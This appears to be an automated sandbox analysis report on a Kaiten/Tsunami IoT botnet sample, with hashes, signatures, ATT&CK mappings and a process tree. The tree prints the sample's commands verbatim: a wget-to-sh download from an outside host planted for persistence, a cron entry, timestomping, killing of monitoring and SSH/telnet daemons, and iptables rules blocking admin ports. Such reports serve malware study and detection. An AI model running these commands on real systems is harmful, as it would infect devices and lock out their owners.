kaiten | 77b5f8dd7a6a31946a179206722acfb7d901d4be57525111dc7268538cc5fc81

Analysis

max time kernel
152s
max time network
155s
platform
debian-9_armhf
resource
debian9-armhf-20231215-en
resource tags

arch:armhfimage:debian9-armhf-20231215-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
22-12-2023 14:44

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

c97f99cdafcef0ac7b484e79ca7ed503
Size

42KB
MD5

c97f99cdafcef0ac7b484e79ca7ed503
SHA1

45fcb4347629b373ec5766b68a9a9e0b8773eacc
SHA256

77b5f8dd7a6a31946a179206722acfb7d901d4be57525111dc7268538cc5fc81
SHA512

27c767a1d48031c9fd5e8f264edf6b72e1a0e1ec1133cdad8765435859f9ccac0f46256752fe1ab0688ddc8881a608273b23e4c721f4be081293502501017ae7
SSDEEP

768:2isrNjEjCMBdv3SfD/IwYlpxijZMhhie5FQWrSToy6XDo3UFAq2qQEpz+n:nrzBdviTIwYlAS75FQwyeMoz2

Score

10^/10

kaiten botnet persistence

Malware Config

Signatures

Detects Kaiten/Tsunami Payload 1 IoCs

Processes:

resource	yara_rule
behavioral1/memory/676-1-0x00008000-0x00029e3c-memory.dmp	family_kaiten2

Kaiten/Tsunami
Linux-based IoT botnet which is controlled through IRC and normally used to carry out DDoS attacks.
botnet kaiten
Writes DNS configuration 1 TTPs 1 IoCs
Writes data to DNS resolver config file.

Dynamic Resolution
T1568

Processes:

description ioc

File opened for modification /etc/resolv.conf
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
persistence

Scheduled Task/Job
T1053

Processes:

crontab

description ioc process

File opened for modification /var/spool/cron/crontabs/tmp.dBx0v1 crontab
Enumerates running processes
Discovers information about currently running processes on the system

description	ioc
File opened for modification	/etc/resolv.conf

description	ioc	process
File opened for modification	/var/spool/cron/crontabs/tmp.dBx0v1	crontab

Enumerates kernel/hardware configuration 1 TTPs 45 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

System Information Discovery

T1082

Processes:

systemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctl

description	ioc	process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

Processes:

killallkillallkillallkillallkillallkillallsystemctlkillallkillallkillallkillallsystemctlkillallkillallsystemctlkillallkillallkillallsystemctlkillallkillallsystemctlkillall

description	ioc	process
File opened for reading	/proc/746/stat	killall
File opened for reading	/proc/41/stat	killall
File opened for reading	/proc/656/stat	killall
File opened for reading	/proc/107/stat	killall
File opened for reading	/proc/614/stat	killall
File opened for reading	/proc/22/stat	killall
File opened for reading	/proc/43/stat	killall
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/4/stat	killall
File opened for reading	/proc/6/stat	killall
File opened for reading	/proc/297/stat	killall
File opened for reading	/proc/227/stat	killall
File opened for reading	/proc/525/stat	killall
File opened for reading	/proc/779/stat	killall
File opened for reading	/proc/24/stat	killall
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/14/stat	killall
File opened for reading	/proc/27/stat	killall
File opened for reading	/proc/108/stat	killall
File opened for reading	/proc/575/stat	killall
File opened for reading	/proc/28/stat	killall
File opened for reading	/proc/28/stat	killall
File opened for reading	/proc/17/stat	killall
File opened for reading	/proc/821/stat	killall
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/332/stat	killall
File opened for reading	/proc/689/stat	killall
File opened for reading	/proc/653/cmdline	killall
File opened for reading	/proc/19/stat	killall
File opened for reading	/proc/658/stat	killall
File opened for reading	/proc/108/stat	killall
File opened for reading	/proc/16/stat	killall
File opened for reading	/proc/18/stat	killall
File opened for reading	/proc/107/stat	killall
File opened for reading	/proc/697/stat	killall
File opened for reading	/proc/726/stat	killall
File opened for reading	/proc/779/stat	killall
File opened for reading	/proc/653/stat	killall
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/726/stat	killall
File opened for reading	/proc/614/stat	killall
File opened for reading	/proc/297/stat	killall
File opened for reading	/proc/6/stat	killall
File opened for reading	/proc/824/stat	killall
File opened for reading	/proc/4/stat	killall
File opened for reading	/proc/322/stat	killall
File opened for reading	/proc/658/stat	killall
File opened for reading	/proc/614/stat	killall
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/141/stat	killall
File opened for reading	/proc/29/stat	killall
File opened for reading	/proc/614/stat	killall
File opened for reading	/proc/6/stat	killall
File opened for reading	/proc/23/stat	killall
File opened for reading	/proc/13/stat	killall
File opened for reading	/proc/679/stat	killall
File opened for reading	/proc/676/stat	killall
File opened for reading	/proc/20/stat	killall
File opened for reading	/proc/24/stat	killall
File opened for reading	/proc/282/stat	killall
File opened for reading	/proc/653/cmdline	killall
File opened for reading	/proc/14/stat	killall
File opened for reading	/proc/654/cmdline	killall
File opened for reading	/proc/654/stat	killall

Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.

Processes:

c97f99cdafcef0ac7b484e79ca7ed503

description ioc process

File opened for modification /tmp/udevd0.pid c97f99cdafcef0ac7b484e79ca7ed503

description	ioc	process
File opened for modification	/tmp/udevd0.pid	c97f99cdafcef0ac7b484e79ca7ed503

/tmp/c97f99cdafcef0ac7b484e79ca7ed503
/tmp/c97f99cdafcef0ac7b484e79ca7ed503
1⤵
- Writes file to tmp directory
PID:676
- /bin/sh
  sh -c "killall -9 tcpdump > /dev/null 2>&1 &"
  2⤵
  PID:678
- /bin/sh
  sh -c "killall -9 strace > /dev/null 2>&1 &"
  2⤵
  PID:685
- /bin/sh
  sh -c "nvram set rc_firewall=\"sleep 120 && wget -qO - http://y.fd6fq54s6df541q23sdxfg.eu/nvr | sh\" > /dev/null 2>&1 "
  2⤵
  PID:687
- /bin/sh
  sh -c "nvram commit > /dev/null 2>&1"
  2⤵
  PID:689
- /bin/sh
  sh -c "( echo \"sleep 120 && wget -q -O - http://y.fd6fq54s6df541q23sdxfg.eu/nvr | sh > /dev/null 2>&1 &\" > /etc/persistent/rc.poststart ) > /dev/null 2>&1"
  2⤵
  PID:690
- /bin/sh
  sh -c "chmod 755 /etc/persistent/rc.poststart > /dev/null 2>&1 "
  2⤵
  PID:693
- - /bin/chmod
    chmod 755 /etc/persistent/rc.poststart
    3⤵
    PID:694
- /bin/sh
  sh -c "cfgmtd -w -p /etc/ > /dev/null 2>&1 "
  2⤵
  PID:696
- /bin/sh
  sh -c "( cfgmtd -w -p /etc/ && sleep 432000 && reboot & ) > /dev/null 2>&1"
  2⤵
  PID:698
- /bin/sh
  sh -c "( cat /mnt/Config/S1_01timezone | grep -v derpcity | grep -v wireless > /var/run/.x00 ) > /dev/null 2>&1"
  2⤵
  PID:701
- /bin/sh
  sh -c "( echo \"sleep 120 && wget -qO - http://y.fd6fq54s6df541q23sdxfg.eu/nvr | sh > /dev/null 2>&1 &\" >> /var/run/.x00 ) > /dev/null 2>&1"
  2⤵
  PID:707
- /bin/sh
  sh -c "( cat /var/run/.x00 > /mnt/Config/S1_01timezone )> /dev/null 2>&1"
  2⤵
  PID:709
- /bin/sh
  sh -c "rm -rf /var/run/pty > /dev/null 2>&1 &"
  2⤵
  PID:711
- /bin/sh
  sh -c "rm -rf /tmp/pty > /dev/null 2>&1 &"
  2⤵
  PID:713
- /bin/sh
  sh -c "echo \"nameserver 8.8.8.8\" > /etc/resolv.conf &"
  2⤵
  PID:715
- /bin/sh
  sh -c "killall -9 telnetd > /dev/null 2>&1 &"
  2⤵
  PID:717
- /bin/sh
  sh -c "service httpd stop > /dev/null 2>&1 &"
  2⤵
  PID:720
- /bin/sh
  sh -c "service telnetd stop > /dev/null 2>&1 &"
  2⤵
  PID:722
- /bin/sh
  sh -c "service sshd stop > /dev/null 2>&1 &"
  2⤵
  PID:724
- /bin/sh
  sh -c "killall -9 telnetd > /dev/null 2>&1 &"
  2⤵
  PID:727
- /bin/sh
  sh -c "killall -9 utelnetd > /dev/null 2>&1 &"
  2⤵
  PID:731
- /bin/sh
  sh -c "killall -9 dropbear > /dev/null 2>&1 &"
  2⤵
  PID:735
- /bin/sh
  sh -c "killall -9 sshd > /dev/null 2>&1 &"
  2⤵
  PID:739
- /bin/sh
  sh -c "killall -9 minihttpd > /dev/null 2>&1 &"
  2⤵
  PID:742
- /bin/sh
  sh -c "kill -9 `cat /var/run/thttpd.pid` > /dev/null 2>&1 &"
  2⤵
  PID:745
- /bin/sh
  sh -c "nvram set httpd_enable=0 > /dev/null 2>&1"
  2⤵
  PID:750
- /bin/sh
  sh -c "nvram set http_enable=0 > /dev/null 2>&1"
  2⤵
  PID:757
- /bin/sh
  sh -c "killall -9 httpd > /dev/null 2>&1 &"
  2⤵
  PID:761
- /bin/sh
  sh -c "kill -9 `cat /var/run/httpd.pid` > /dev/null 2>&1 &"
  2⤵
  PID:763
- /bin/sh
  sh -c "rm -rf /var/run/wgsh > /dev/null 2>&1 &"
  2⤵
  PID:765
- /bin/sh
  sh -c "rm -rf /var/run/bbsh > /dev/null 2>&1 &"
  2⤵
  PID:768
- /bin/sh
  sh -c "rm -rf /var/run/tty0 > /dev/null 2>&1 &"
  2⤵
  PID:771
- /bin/sh
  sh -c "rm -rf /var/run/tty1 > /dev/null 2>&1 &"
  2⤵
  PID:773
- /bin/sh
  sh -c "rm -rf /var/run/tty2 > /dev/null 2>&1 &"
  2⤵
  PID:777
- /bin/sh
  sh -c "rm -rf /var/run/tty3 > /dev/null 2>&1 &"
  2⤵
  PID:782
- /bin/sh
  sh -c "rm -rf /var/run/tty4 > /dev/null 2>&1 &"
  2⤵
  PID:785
- /bin/sh
  sh -c "rm -rf /var/run/tty6 > /dev/null 2>&1 &"
  2⤵
  PID:787
- /bin/sh
  sh -c "rm -rf /tmp/tty0 > /dev/null 2>&1 &"
  2⤵
  PID:789
- /bin/sh
  sh -c "rm -rf /tmp/tty1 > /dev/null 2>&1 &"
  2⤵
  PID:791
- /bin/sh
  sh -c "rm -rf /tmp/tty2 > /dev/null 2>&1 &"
  2⤵
  PID:794
- /bin/sh
  sh -c "rm -rf /tmp/tty3 > /dev/null 2>&1 &"
  2⤵
  PID:797
- /bin/sh
  sh -c "rm -rf /tmp/tty4 > /dev/null 2>&1 &"
  2⤵
  PID:800
- /bin/sh
  sh -c "rm -rf /tmp/tty6 > /dev/null 2>&1 &"
  2⤵
  PID:804
- /bin/sh
  sh -c "killall -9 arm > /dev/null 2>&1 &"
  2⤵
  PID:807
- /bin/sh
  sh -c "killall -9 mips > /dev/null 2>&1 &"
  2⤵
  PID:810
- /bin/sh
  sh -c "killall -9 mipsel > /dev/null 2>&1 &"
  2⤵
  PID:813
- /bin/sh
  sh -c "killall -9 powerpc > /dev/null 2>&1 &"
  2⤵
  PID:815
- /bin/sh
  sh -c "killall -9 ppc > /dev/null 2>&1 &"
  2⤵
  PID:819
- /bin/sh
  sh -c "killall -9 daemon.armv4l.mod > /dev/null 2>&1 &"
  2⤵
  PID:821
- /bin/sh
  sh -c "killall -9 daemon.i686.mod > /dev/null 2>&1 &"
  2⤵
  PID:823
- /bin/sh
  sh -c "killall -9 daemon.mips.mod > /dev/null 2>&1 &"
  2⤵
  PID:827
- /bin/sh
  sh -c "killall -9 daemon.mipsel.mod > /dev/null 2>&1 &"
  2⤵
  PID:830
- /bin/sh
  sh -c "rm -rf /tmp/.xs/* > /dev/null 2>&1 &"
  2⤵
  PID:833
- /bin/sh
  sh -c "iptables -A INPUT -p tcp --dport 22 -j DROP > /dev/null 2>&1 &"
  2⤵
  PID:835
- /bin/sh
  sh -c "iptables -A INPUT -p tcp --dport 23 -j DROP > /dev/null 2>&1 &"
  2⤵
  PID:837
- /bin/sh
  sh -c "iptables -A INPUT -p tcp --dport 80 -j DROP > /dev/null 2>&1 &"
  2⤵
  PID:841
- /bin/sh
  sh -c "iptables -A INPUT -p tcp --dport 8080 -j DROP > /dev/null 2>&1 &"
  2⤵
  PID:843
- /bin/sh
  sh -c "echo \"nameserver 8.8.8.8\" > /etc/resolv.conf &"
  2⤵
  PID:846
- /bin/sh
  sh -c "chmod 700 /tmp/c97f99cdafcef0ac7b484e79ca7ed503 > /dev/null 2>&1 &"
  2⤵
  PID:853
- /bin/sh
  sh -c "touch -acmr /bin/ls /tmp/c97f99cdafcef0ac7b484e79ca7ed503"
  2⤵
  PID:857
- - /usr/bin/touch
    touch -acmr /bin/ls /tmp/c97f99cdafcef0ac7b484e79ca7ed503
    3⤵
    PID:858
- /bin/sh
  sh -c "(crontab -l | grep -v \"/tmp/c97f99cdafcef0ac7b484e79ca7ed503\" | grep -v \"no cron\" | grep -v \"lesshts/run.sh\" > /var/run/.x001804289383) > /dev/null 2>&1"
  2⤵
  PID:859
- /bin/sh
  sh -c "echo \"* * * * * /tmp/c97f99cdafcef0ac7b484e79ca7ed503 > /dev/null 2>&1 &\" >> /var/run/.x001804289383"
  2⤵
  PID:869
- /bin/sh
  sh -c "crontab /var/run/.x001804289383"
  2⤵
  PID:874
- - /usr/bin/crontab
    crontab /var/run/.x001804289383
    3⤵
    - Creates/modifies Cron job
    PID:877
- /bin/sh
  sh -c "rm -rf /var/run/.x001804289383"
  2⤵
  PID:879
- - /bin/rm
    rm -rf /var/run/.x001804289383
    3⤵
    PID:882

/usr/bin/killall
killall -9 tcpdump
1⤵
- Reads runtime system information
PID:682

/usr/bin/killall
killall -9 strace
1⤵
- Reads runtime system information
PID:686

/bin/cat
cat /mnt/Config/S1_01timezone
1⤵
PID:703

/bin/grep
grep -v derpcity
1⤵
PID:704

/bin/grep
grep -v wireless
1⤵
PID:705

/bin/rm
rm -rf /var/run/pty
1⤵
PID:712

/bin/rm
rm -rf /tmp/pty
1⤵
PID:714

/usr/bin/killall
killall -9 telnetd
1⤵
- Reads runtime system information
PID:719

/usr/sbin/service
service httpd stop
1⤵
PID:721
- /usr/bin/basename
  basename /usr/sbin/service
  2⤵
  PID:725
- /usr/bin/basename
  basename /usr/sbin/service
  2⤵
  PID:729
- /bin/systemctl
  systemctl --quiet is-active multi-user.target
  2⤵
  - Enumerates kernel/hardware configuration
  PID:736
- /bin/systemctl
  systemctl -p Triggers show dbus.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:769
- /bin/systemctl
  systemctl -p Triggers show ssh.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:784
- /bin/systemctl
  systemctl -p Triggers show syslog.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:798
- /bin/systemctl
  systemctl -p Triggers show systemd-fsckd.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:811
- /bin/systemctl
  systemctl -p Triggers show systemd-initctl.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:825
- /bin/systemctl
  systemctl -p Triggers show systemd-journald-audit.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:832
- /bin/systemctl
  systemctl -p Triggers show systemd-journald-dev-log.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:850
- /bin/systemctl
  systemctl -p Triggers show systemd-journald.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:860
- /bin/systemctl
  systemctl -p Triggers show systemd-networkd.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:876
- /bin/systemctl
  systemctl -p Triggers show systemd-rfkill.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:883
- /bin/systemctl
  systemctl -p Triggers show systemd-udevd-control.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:893
- /bin/systemctl
  systemctl -p Triggers show systemd-udevd-kernel.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:898

/usr/sbin/service
service telnetd stop
1⤵
PID:723
- /usr/bin/basename
  basename /usr/sbin/service
  2⤵
  PID:728
- /usr/bin/basename
  basename /usr/sbin/service
  2⤵
  PID:733
- /bin/systemctl
  systemctl --quiet is-active multi-user.target
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:740
- /bin/systemctl
  systemctl -p Triggers show dbus.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:775
- /bin/systemctl
  systemctl -p Triggers show ssh.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:792
- /bin/systemctl
  systemctl -p Triggers show syslog.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:806
- /bin/systemctl
  systemctl -p Triggers show systemd-fsckd.socket
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:816
- /bin/systemctl
  systemctl -p Triggers show systemd-initctl.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:824
- /bin/systemctl
  systemctl -p Triggers show systemd-journald-audit.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:838
- /bin/systemctl
  systemctl -p Triggers show systemd-journald-dev-log.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:856
- /bin/systemctl
  systemctl -p Triggers show systemd-journald.socket
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:867
- /bin/systemctl
  systemctl -p Triggers show systemd-networkd.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:878
- /bin/systemctl
  systemctl -p Triggers show systemd-rfkill.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:888
- /bin/systemctl
  systemctl -p Triggers show systemd-udevd-control.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:895
- /bin/systemctl
  systemctl -p Triggers show systemd-udevd-kernel.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:899

/usr/sbin/service
service sshd stop
1⤵
PID:726
- /usr/bin/basename
  basename /usr/sbin/service
  2⤵
  PID:732
- /usr/bin/basename
  basename /usr/sbin/service
  2⤵
  PID:738
- /bin/systemctl
  systemctl --quiet is-active multi-user.target
  2⤵
  - Enumerates kernel/hardware configuration
  PID:743
- /bin/systemctl
  systemctl -p Triggers show dbus.socket
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:781
- /bin/systemctl
  systemctl -p Triggers show ssh.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:795
- /bin/systemctl
  systemctl -p Triggers show syslog.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:808
- /bin/systemctl
  systemctl -p Triggers show systemd-fsckd.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:818
- /bin/systemctl
  systemctl -p Triggers show systemd-initctl.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:829
- /bin/systemctl
  systemctl -p Triggers show systemd-journald-audit.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:839
- /bin/systemctl
  systemctl -p Triggers show systemd-journald-dev-log.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:854
- /bin/systemctl
  systemctl -p Triggers show systemd-journald.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:861
- /bin/systemctl
  systemctl -p Triggers show systemd-networkd.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:875
- /bin/systemctl
  systemctl -p Triggers show systemd-rfkill.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:881
- /bin/systemctl
  systemctl -p Triggers show systemd-udevd-control.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:892
- /bin/systemctl
  systemctl -p Triggers show systemd-udevd-kernel.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:896

/usr/bin/killall
killall -9 telnetd
1⤵
- Reads runtime system information
PID:730

/usr/bin/killall
killall -9 utelnetd
1⤵
- Reads runtime system information
PID:734

/usr/bin/killall
killall -9 dropbear
1⤵
- Reads runtime system information
PID:737

/usr/bin/killall
killall -9 sshd
1⤵
- Reads runtime system information
PID:741

/usr/bin/killall
killall -9 minihttpd
1⤵
- Reads runtime system information
PID:744

/bin/systemctl
systemctl list-unit-files --full "--type=socket"
1⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:748

/bin/sed
sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
1⤵
PID:749

/bin/cat
cat /var/run/thttpd.pid
1⤵
PID:751

/bin/systemctl
systemctl list-unit-files --full "--type=socket"
1⤵
- Enumerates kernel/hardware configuration
PID:754

/bin/sed
sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
1⤵
PID:756

/bin/systemctl
systemctl list-unit-files --full "--type=socket"
1⤵
- Enumerates kernel/hardware configuration
PID:759

/bin/sed
sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
1⤵
PID:760

/usr/bin/killall
killall -9 httpd
1⤵
- Reads runtime system information
PID:762

/bin/cat
cat /var/run/httpd.pid
1⤵
PID:766

/bin/rm
rm -rf /var/run/wgsh
1⤵
PID:767

/bin/rm
rm -rf /var/run/bbsh
1⤵
PID:770

/bin/rm
rm -rf /var/run/tty0
1⤵
PID:772

/bin/rm
rm -rf /var/run/tty1
1⤵
PID:776

/bin/rm
rm -rf /var/run/tty2
1⤵
PID:780

/bin/rm
rm -rf /var/run/tty3
1⤵
PID:783

/bin/rm
rm -rf /var/run/tty4
1⤵
PID:786

/bin/rm
rm -rf /var/run/tty6
1⤵
PID:788

/bin/rm
rm -rf /tmp/tty0
1⤵
PID:790

/bin/rm
rm -rf /tmp/tty1
1⤵
PID:793

/bin/rm
rm -rf /tmp/tty2
1⤵
PID:796

/bin/rm
rm -rf /tmp/tty3
1⤵
PID:799

/bin/rm
rm -rf /tmp/tty4
1⤵
PID:803

/bin/rm
rm -rf /tmp/tty6
1⤵
PID:805

/usr/bin/killall
killall -9 arm
1⤵
- Reads runtime system information
PID:809

/usr/bin/killall
killall -9 mips
1⤵
- Reads runtime system information
PID:812

/usr/bin/killall
killall -9 mipsel
1⤵
- Reads runtime system information
PID:814

/usr/bin/killall
killall -9 powerpc
1⤵
- Reads runtime system information
PID:817

/usr/bin/killall
killall -9 ppc
1⤵
- Reads runtime system information
PID:820

/usr/bin/killall
killall -9 daemon.armv4l.mod
1⤵
- Reads runtime system information
PID:822

/usr/bin/killall
killall -9 daemon.i686.mod
1⤵
- Reads runtime system information
PID:826

/usr/bin/killall
killall -9 daemon.mips.mod
1⤵
- Reads runtime system information
PID:828

/usr/bin/killall
killall -9 daemon.mipsel.mod
1⤵
- Reads runtime system information
PID:831

/bin/rm
rm -rf "/tmp/.xs/*"
1⤵
PID:834

/sbin/iptables
iptables -A INPUT -p tcp --dport 22 -j DROP
1⤵
PID:836

/sbin/iptables
iptables -A INPUT -p tcp --dport 23 -j DROP
1⤵
PID:840

/sbin/iptables
iptables -A INPUT -p tcp --dport 80 -j DROP
1⤵
PID:842

/sbin/iptables
iptables -A INPUT -p tcp --dport 8080 -j DROP
1⤵
PID:844

/bin/chmod
chmod 700 /tmp/c97f99cdafcef0ac7b484e79ca7ed503
1⤵
PID:855

/usr/bin/crontab
crontab -l
1⤵
PID:863

/bin/grep
grep -v /tmp/c97f99cdafcef0ac7b484e79ca7ed503
1⤵
PID:864

/bin/grep
grep -v "no cron"
1⤵
PID:865

/bin/grep
grep -v lesshts/run.sh
1⤵
PID:866

/bin/sh
sh -c "/bin/uname -n"
1⤵
PID:885
- /bin/uname
  /bin/uname -n
  2⤵
  PID:887

/bin/sh
sh -c "/bin/uname -n"
1⤵
PID:889
- /bin/uname
  /bin/uname -n
  2⤵
  PID:891

/usr/local/sbin/systemctl
systemctl stop sshd.service
1⤵
PID:726

/usr/local/bin/systemctl
systemctl stop sshd.service
1⤵
PID:726

/usr/sbin/systemctl
systemctl stop sshd.service
1⤵
PID:726

/usr/bin/systemctl
systemctl stop sshd.service
1⤵
PID:726

/sbin/systemctl
systemctl stop sshd.service
1⤵
PID:726

/bin/systemctl
systemctl stop sshd.service
1⤵
- Enumerates kernel/hardware configuration
PID:726

/usr/local/sbin/systemctl
systemctl stop httpd.service
1⤵
PID:721

/usr/local/bin/systemctl
systemctl stop httpd.service
1⤵
PID:721

/usr/sbin/systemctl
systemctl stop httpd.service
1⤵
PID:721

/usr/bin/systemctl
systemctl stop httpd.service
1⤵
PID:721

/sbin/systemctl
systemctl stop httpd.service
1⤵
PID:721

/bin/systemctl
systemctl stop httpd.service
1⤵
- Enumerates kernel/hardware configuration
PID:721

/usr/local/sbin/systemctl
systemctl stop telnetd.service
1⤵
PID:723

/usr/local/bin/systemctl
systemctl stop telnetd.service
1⤵
PID:723

/usr/sbin/systemctl
systemctl stop telnetd.service
1⤵
PID:723

/usr/bin/systemctl
systemctl stop telnetd.service
1⤵
PID:723

/sbin/systemctl
systemctl stop telnetd.service
1⤵
PID:723

/bin/systemctl
systemctl stop telnetd.service
1⤵
- Enumerates kernel/hardware configuration
PID:723

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Dynamic Resolution

T1568

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/run/.x00

Filesize
87B

MD5
e9edd49b68669411a5e0ee7edbeb022a

SHA1
83dac91e569f69ea4a4325b7fb979721bb13f07d

SHA256
cbf58a1d936bfb8a4c4f272f96c57f67ae5c8a0dfc56e17e8117ac8a12fba892

SHA512
da53b5620ccbffd257db206836844bb7fdf3202a852009b459f672b9ccbc7e91c0fc58dcf98410ef2a7b21e9f9655a33bd9439cb1fdb8114d925cb9b674e30c2

Download Submit
/run/.x001804289383

Filesize
67B

MD5
a48b9316c65dd939802bd37b26117914

SHA1
591ec4b219281181613637e077758953104c0420

SHA256
7448b6f27b771f36db613e5ea0dea0a227d999b245204870a65db9ac479bc7ae

SHA512
078f5a961f19df6030917120ef7586e6be9657ed40cb6f9c3593d8df593ccd23029cdaab30b207dc76e1d87872f7d8bc266cbc449d9174ae894ff9c40cb34e5a

Download Submit
/var/spool/cron/crontabs/tmp.dBx0v1

Filesize
264B

MD5
10ea31e4f50e74c49317510990441cad

SHA1
02f54636a1409d30eeb5f8927b77c9c4fda5a48d

SHA256
af89f425cacf0c8bb01079dc745410109eca57e041f7c2fcf56f458283d91c72

SHA512
5ffb8222a016e1a932a0c5b28d5cc9881ba5648c82f414d5ad40dfa9940fbd035fd02136acc2dba2a824bf5a6bf8da38a9420af5e1d3e038eb8d376df036b46b

Download Submit
memory/676-1-0x00008000-0x00029e3c-memory.dmp

Download
memory/888-2-0xb6d06000-0xb6d17070-memory.dmp

Download